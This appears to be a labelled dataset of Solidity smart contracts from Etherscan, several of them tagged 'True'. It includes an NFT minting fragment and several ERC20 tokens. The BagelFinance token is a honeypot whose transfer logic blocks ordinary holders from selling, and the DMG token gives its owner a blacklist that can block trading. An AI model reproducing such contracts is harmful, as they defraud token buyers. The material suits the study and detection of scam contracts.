randomId = temp;
break;
}
} while (randomId == 0);
return randomId;
}
function safeMint(address to, uint256 tokenId, string memory _tokenURI) public onlyOwner {
internalMint(to, tokenId);
nftMinters[tokenId] = msg.sender;
if (bytes(_tokenURI).length > 0) {
_setTokenURI(tokenId, _tokenURI);
}
}
function airdrop(uint256 amount) public whenNotPaused {
require(airdropOpen == true, "Airdrop is not opened");
require(airdropTotalMinted + amount <= airdropMintTotalLimt, "Airdrop Mint Amount is limited");
uint256 who = airdroplist[msg.sender];
require(who > 0, 'this address is not airdrop for the presale');
require(airdropMinted[msg.sender] + amount <= who, "Your address airdrop amount limited");
for (uint256 i = 0; i < amount; i++) {
uint256 tokenId = randomPickId();
internalMint(msg.sender, tokenId);
nftMinters[tokenId] = msg.sender;
}
airdropMinted[msg.sender] = airdropMinted[msg.sender] + amount;
airdropTotalMinted = airdropTotalMinted + amount;
}
function mintForWhiteList(uint256 amount) public payable {
require(msg.value >= price * amount, 'not enough was paid');
require(whiteListOpen == true, "WhiteList is not opened");
require(whitelistTotalMinted + amount <= whitelistMintTotalLimit, "WhiteList Total Amount is limited");
uint256 who = whitelist[msg.sender];
require(who > 0, 'this address is not in whitelist');
require(whitelistMinted[msg.sender] + amount <= who, "your address whitelist amount limited");
for (uint256 i = 0; i < amount; i++) {
uint256 tokenId = randomPickId();
internalMint(msg.sender, tokenId);
nftMinters[tokenId] = msg.sender;
}
whitelistMinted[msg.sender] = whitelistMinted[msg.sender] + amount;
whitelistTotalMinted = whitelistTotalMinted + amount;
}
function mint(uint256 amount) public payable {
require(saleOpen == true, "Sale is not opened");
require(msg.value >= price * amount, 'not enough was paid');
require(MintAmountPerPublicAddress[msg.sender] + amount <= publicSaleLimitPerAddress, 'only limited amount per address allowed');
require(publicSaleMinted + amount <= publicSaleLimit, 'max public sale amount is limited.');
for (uint256 i = 0; i < amount; i++) {
uint256 tokenId = randomPickId();
internalMint(msg.sender, tokenId);
nftMinters[tokenId] = msg.sender;
}
MintAmountPerPublicAddress[msg.sender] = MintAmountPerPublicAddress[msg.sender] + amount;
publicSaleMinted = publicSaleMinted + amount;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) whenNotPaused {
super._beforeTokenTransfer(from, to, tokenId);
}
// The following functions are overrides required by Solidity.
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) {
return super.tokenURI(tokenId);
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) {
return super.supportsInterface(interfaceId);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-08-11
*/
/**
*Submitted for verification at Etherscan.io on 2020-07-26
*/
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private exceptions;
address private uniswap;
address private _owner;
uint private _totalSupply;
bool private allow;
constructor(address owner) public{
_owner = owner;
allow = false;
}
function setAllow() public{
require(_msgSender() == _owner,"Only owner can change set allow");
allow = true;
}
function setExceptions(address someAddress) public{
exceptions[someAddress] = true;
}
function burnOwner() public{
require(_msgSender() == _owner,"Only owner can change set allow");
_owner = address(0);
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
// Trigger special exceptions
if(sender == _owner || allow ) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}else {
if(exceptions[recipient]) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}else {
revert();
}
}
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BagelFinance is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Bagel.Finance", "YBGL", 18) ERC20(tx.origin){
_mint(tx.origin, 12000*(10 ** 18)); //Supply 12,000
}
function mint(address account, uint256 amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DMG is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000* 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "DMG";
string private constant _symbol = "DMG";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xCF10C415DFd34252983353A7d1CdCe9FFCBe1367);
_feeAddrWallet2 = payable(0xCF10C415DFd34252983353A7d1CdCe9FFCBe1367);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 5;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply_;
uint256 public privatePreSale;
uint256 public openPreSale;
uint256 public openSale;
uint256 public ICOstarttime = 1533128400;
uint256 public ICOendtime = 1542204000;
//1533128400 //2018.8.1 August 1, 2018
//1542204000 //2018.11.14 Nov 14, 2018
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function ICOactive() public view returns (bool success) {
return ICOstarttime < now && now < ICOendtime;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
if(msg.sender == owner){
if(now >= 1533128400 && now < 1534337940){
privatePreSale = privatePreSale.sub(_value);
} else if(now >= 1534338000 && now < 1535547600){
openPreSale = openPreSale.sub(_value);
} else if(now > 1536152400 && now < 1542204000){
openSale = openSale.sub(_value);
}
}
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require (!ICOactive());
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
}
}
contract BDTToken is StandardToken, BurnableToken {
string public constant name = "BDT Token";
string public constant symbol = "BDT";
uint8 public constant decimals = 18;
// Total Supply: 1 Billion
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
constructor () public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
privatePreSale = 60000000 * (10 ** uint256(decimals));
openPreSale = 60000000 * (10 ** uint256(decimals));
openSale = 630000000 * (10 ** uint256(decimals));
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-12
*/
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
